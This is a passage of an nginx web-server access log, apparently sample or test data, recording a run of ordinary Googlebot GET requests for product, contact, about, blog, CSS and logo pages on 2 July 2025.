(+http://www.google.com/bot.html)" +Jul 02 12:03:00 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:03:00 +0000] "GET /products/123 HTTP/1.1" 200 65077 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:01 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:03:01 +0000] "GET /products/123 HTTP/1.1" 200 41609 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:02 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:03:02 +0000] "GET /about-us HTTP/1.1" 200 56798 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:02 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:02 +0000] "GET /contact HTTP/1.1" 200 26420 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:02 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:02 +0000] "GET /css/main.css HTTP/1.1" 200 25767 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:03 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:03:03 +0000] "GET /about-us HTTP/1.1" 200 45450 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:04 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:03:04 +0000] "GET /blog/posts/latest HTTP/1.1" 200 29038 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:04 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:03:04 +0000] "GET /images/logo.png HTTP/1.1" 404 60272 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:05 +0000] "GET /contact HTTP/1.1" 404 79324 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:03:05 +0000] "GET /about-us HTTP/1.1" 200 41172 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:05 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:03:05 +0000] "GET /contact HTTP/1.1" 404 25996 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:06 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:03:06 +0000] "GET /images/logo.png HTTP/1.1" 200 26962 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:06 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:03:06 +0000] "GET /css/main.css HTTP/1.1" 200 22397 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:06 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:03:06 +0000] "GET /index.html HTTP/1.1" 200 27328 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:06 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:03:06 +0000] "GET /about-us HTTP/1.1" 200 61739 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:07 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:07 +0000] "GET /products/123 HTTP/1.1" 200 55317 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:07 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:03:07 +0000] "GET /about-us HTTP/1.1" 200 43169 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:03:08 +0000] "GET /css/main.css HTTP/1.1" 200 48912 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:08 +0000] "GET /products/123 HTTP/1.1" 200 19305 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:03:08 +0000] "GET /images/logo.png HTTP/1.1" 200 38727 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:08 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:08 +0000] "GET /about-us HTTP/1.1" 301 31206 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:03:09 +0000] "GET /contact HTTP/1.1" 404 51840 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:09 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:09 +0000] "GET /images/logo.png HTTP/1.1" 200 21324 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:10 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:10 +0000] "GET /images/logo.png HTTP/1.1" 200 79125 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:10 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:03:10 +0000] "GET /css/main.css HTTP/1.1" 200 74878 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:10 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:10 +0000] "GET /images/logo.png HTTP/1.1" 200 64982 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:10 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:03:10 +0000] "GET /products/123 HTTP/1.1" 200 44362 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:10 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:10 +0000] "GET /images/logo.png HTTP/1.1" 200 36818 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:11 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:11 +0000] "GET /css/main.css HTTP/1.1" 200 47269 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:11 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:03:11 +0000] "GET /blog/posts/latest HTTP/1.1" 200 47498 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:12 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:03:12 +0000] "GET /about-us HTTP/1.1" 200 30970 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:13 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:03:13 +0000] "GET /contact HTTP/1.1" 200 46840 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:14 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:03:14 +0000] "GET /css/main.css HTTP/1.1" 301 20318 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:14 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:14 +0000] "GET /products/123 HTTP/1.1" 200 42109 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:15 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:03:15 +0000] "GET /products/123 HTTP/1.1" 200 46285 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:15 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:03:15 +0000] "GET /contact HTTP/1.1" 200 32510 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:15 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:15 +0000] "GET /blog/posts/latest HTTP/1.1" 200 32614 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:15 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:15 +0000] "GET /contact HTTP/1.1" 200 71423 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:15 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:03:15 +0000] "GET /images/logo.png HTTP/1.1" 404 25454 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:17 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:17 +0000] "GET /products/123 HTTP/1.1" 200 66521 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:17 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:17 +0000] "GET /contact HTTP/1.1" 301 28051 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:17 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:17 +0000] "GET /about-us HTTP/1.1" 200 48250 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:18 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:03:18 +0000] "GET /contact HTTP/1.1" 200 48125 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:18 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:18 +0000] "GET /images/logo.png HTTP/1.1" 200 26711 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:19 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:19 +0000] "GET /css/main.css HTTP/1.1" 200 46742 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:19 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:03:19 +0000] "GET /index.html HTTP/1.1" 200 46690 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:20 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:03:20 +0000] "GET /index.html HTTP/1.1" 200 57874 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:20 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:03:20 +0000] "GET /products/123 HTTP/1.1" 200 49909 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:21 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:03:21 +0000] "GET /index.html HTTP/1.1" 200 77194 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:22 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:03:22 +0000] "GET /index.html HTTP/1.1" 200 69294 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:22 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:03:22 +0000] "GET /index.html HTTP/1.1" 200 68586 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:23 +0000] "GET /about-us HTTP/1.1" 200 45220 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:03:23 +0000] "GET /about-us HTTP/1.1" 200 69829 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:23 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:03:23 +0000] "GET /index.html HTTP/1.1" 200 37911 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:24 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:03:24 +0000] "GET /products/123 HTTP/1.1" 200 40007 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:03:25 +0000] "GET /contact HTTP/1.1" 200 76530 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:03:25 +0000] "GET /blog/posts/latest HTTP/1.1" 200 69027 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:25 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:03:25 +0000] "GET /css/main.css HTTP/1.1" 200 36485 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:03:26 +0000] "GET /css/main.css HTTP/1.1" 404 70025 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:26 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:26 +0000] "GET /products/123 HTTP/1.1" 301 46846 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:03:27 +0000] "GET /index.html HTTP/1.1" 200 68659 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:27 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:03:27 +0000] "GET /about-us HTTP/1.1" 200 17384 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:28 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:03:28 +0000] "GET /about-us HTTP/1.1" 200 66206 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:28 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:03:28 +0000] "GET /images/logo.png HTTP/1.1" 200 68081 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:03:29 +0000] "GET /index.html HTTP/1.1" 404 77584 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:03:29 +0000] "GET /blog/posts/latest HTTP/1.1" 200 45303 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:03:29 +0000] "GET /css/main.css HTTP/1.1" 200 39649 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:29 +0000] "GET /images/logo.png HTTP/1.1" 200 23957 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:29 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:03:29 +0000] "GET /index.html HTTP/1.1" 200 45509 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:03:30 +0000] "GET /contact HTTP/1.1" 200 16622 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:30 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:03:30 +0000] "GET /images/logo.png HTTP/1.1" 200 78440 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:31 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:03:31 +0000] "GET /images/logo.png HTTP/1.1" 200 40311 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:31 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:03:31 +0000] "GET /products/123 HTTP/1.1" 200 57834 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:32 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:03:32 +0000] "GET /products/123 HTTP/1.1" 200 59904 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:32 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:03:32 +0000] "GET /about-us HTTP/1.1" 200 49312 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:32 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:32 +0000] "GET /products/123 HTTP/1.1" 200 17321 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:33 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:33 +0000] "GET /index.html HTTP/1.1" 200 69251 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:33 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:33 +0000] "GET /products/123 HTTP/1.1" 200 34649 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:33 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:03:33 +0000] "GET /about-us HTTP/1.1" 301 65411 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:33 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:03:33 +0000] "GET /products/123 HTTP/1.1" 200 73896 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:34 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:34 +0000] "GET /css/main.css HTTP/1.1" 200 71713 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:34 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:03:34 +0000] "GET /images/logo.png HTTP/1.1" 200 64772 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:03:35 +0000] "GET /contact HTTP/1.1" 200 23289 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:03:35 +0000] "GET /index.html HTTP/1.1" 200 53014 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:03:35 +0000] "GET /index.html HTTP/1.1" 200 35577 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:35 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:03:35 +0000] "GET /css/main.css HTTP/1.1" 200 18182 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:36 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:03:36 +0000] "GET /contact HTTP/1.1" 200 74288 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:03:37 +0000] "GET /images/logo.png HTTP/1.1" 200 54465 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:37 web-server-1 nginx[5678]: 66.249.66.8 - - [02/Jul/2025:12:03:37 +0000] "GET /about-us HTTP/1.1" 200 56332 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:38 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:03:38 +0000] "GET /css/main.css HTTP/1.1" 200 55394 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:38 web-server-1 nginx[5678]: 66.249.66.2 - - [02/Jul/2025:12:03:38 +0000] "GET /blog/posts/latest HTTP/1.1" 200 48530 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:38 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:03:38 +0000] "GET /contact HTTP/1.1" 200 53132 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:39 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:03:39 +0000] "GET /contact HTTP/1.1" 200 64302 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:39 web-server-1 nginx[5678]: 66.249.66.19 - - [02/Jul/2025:12:03:39 +0000] "GET /images/logo.png HTTP/1.1" 200 55449 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:40 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:03:40 +0000] "GET /contact HTTP/1.1" 200 74255 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:41 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:03:41 +0000] "GET /products/123 HTTP/1.1" 200 39556 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:41 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:03:41 +0000] "GET /index.html HTTP/1.1" 200 18438 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:41 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:03:41 +0000] "GET /images/logo.png HTTP/1.1" 200 46423 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:42 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:03:42 +0000] "GET /contact HTTP/1.1" 404 76871 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:03:43 +0000] "GET /css/main.css HTTP/1.1" 200 44634 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:03:43 +0000] "GET /products/123 HTTP/1.1" 200 18686 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:03:43 +0000] "GET /blog/posts/latest HTTP/1.1" 200 71736 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:03:43 +0000] "GET /images/logo.png HTTP/1.1" 200 67524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:03:43 +0000] "GET /about-us HTTP/1.1" 200 28908 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:43 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:03:43 +0000] "GET /blog/posts/latest HTTP/1.1" 200 38577 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /blog/posts/latest HTTP/1.1" 200 30673 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:03:44 +0000] "GET /index.html HTTP/1.1" 200 18546 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-server-1 nginx[5678]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /products/123 HTTP/1.1" 200 59150 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-server-1 nginx[5678]: 66.249.66.12 - - [02/Jul/2025:12:03:44 +0000] "GET /blog/posts/latest HTTP/1.1" 200 44752 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:45 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:03:45 +0000] "GET /about-us HTTP/1.1" 200 23638 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:46 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:46 +0000] "GET /contact HTTP/1.1" 200 44542 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:46 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:03:46 +0000] "GET /images/logo.png HTTP/1.1" 200 44272 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:47 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:03:47 +0000] "GET /about-us HTTP/1.1" 200 59220 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:47 web-server-1 nginx[5678]: 66.249.66.14 - - [02/Jul/2025:12:03:47 +0000] "GET /blog/posts/latest HTTP/1.1" 200 20458 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:48 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:03:48 +0000] "GET /index.html HTTP/1.1" 200 61206 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:48 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:03:48 +0000] "GET /css/main.css HTTP/1.1" 301 29961 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:48 web-server-1 nginx[5678]: 66.249.66.11 - - [02/Jul/2025:12:03:48 +0000] "GET /contact HTTP/1.1" 200 37218 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:49 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:03:49 +0000] "GET /index.html HTTP/1.1" 200 46592 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:49 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:03:49 +0000] "GET /products/123 HTTP/1.1" 200 56424 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:49 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:03:49 +0000] "GET /blog/posts/latest HTTP/1.1" 200 33529 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:50 web-server-1 nginx[5678]: 66.249.66.10 - - [02/Jul/2025:12:03:50 +0000] "GET /css/main.css HTTP/1.1" 200 48255 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-server-1 nginx[5678]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /blog/posts/latest HTTP/1.1" 200 20271 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:51 +0000] "GET /blog/posts/latest HTTP/1.1" 404 76923 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-server-1 nginx[5678]: 66.249.66.16 - - [02/Jul/2025:12:03:51 +0000] "GET /images/logo.png HTTP/1.1" 200 48250 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-server-1 nginx[5678]: 66.249.66.18 - - [02/Jul/2025:12:03:52 +0000] "GET /products/123 HTTP/1.1" 200 72809 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-server-1 nginx[5678]: 66.249.66.6 - - [02/Jul/2025:12:03:52 +0000] "GET /contact HTTP/1.1" 200 35076 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-server-1 nginx[5678]: 66.249.66.7 - - [02/Jul/2025:12:03:52 +0000] "GET /images/logo.png HTTP/1.1" 200 64242 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:53 web-server-1 nginx[5678]: 66.249.66.3 - - [02/Jul/2025:12:03:53 +0000] "GET /about-us HTTP/1.1" 200 18129 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-server-1 nginx[5678]: 66.249.66.17 - - [02/Jul/2025:12:03:54 +0000] "GET /about-us HTTP/1.1" 301 24906 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:55 web-server-1 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web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:03:58 +0000] "GET /about-us HTTP/1.1" 200 18665 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-server-1 nginx[5678]: 66.249.66.15 - - [02/Jul/2025:12:03:58 +0000] "GET /contact HTTP/1.1" 200 61411 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:59 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:03:59 +0000] "GET /css/main.css HTTP/1.1" 200 20620 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:59 web-server-1 nginx[5678]: 66.249.66.13 - - [02/Jul/2025:12:03:59 +0000] "GET /blog/posts/latest HTTP/1.1" 200 28105 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-server-1 nginx[5678]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /contact HTTP/1.1" 200 35600 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-server-1 nginx[5678]: 66.249.66.4 - - [02/Jul/2025:12:04:02 +0000] "GET /contact 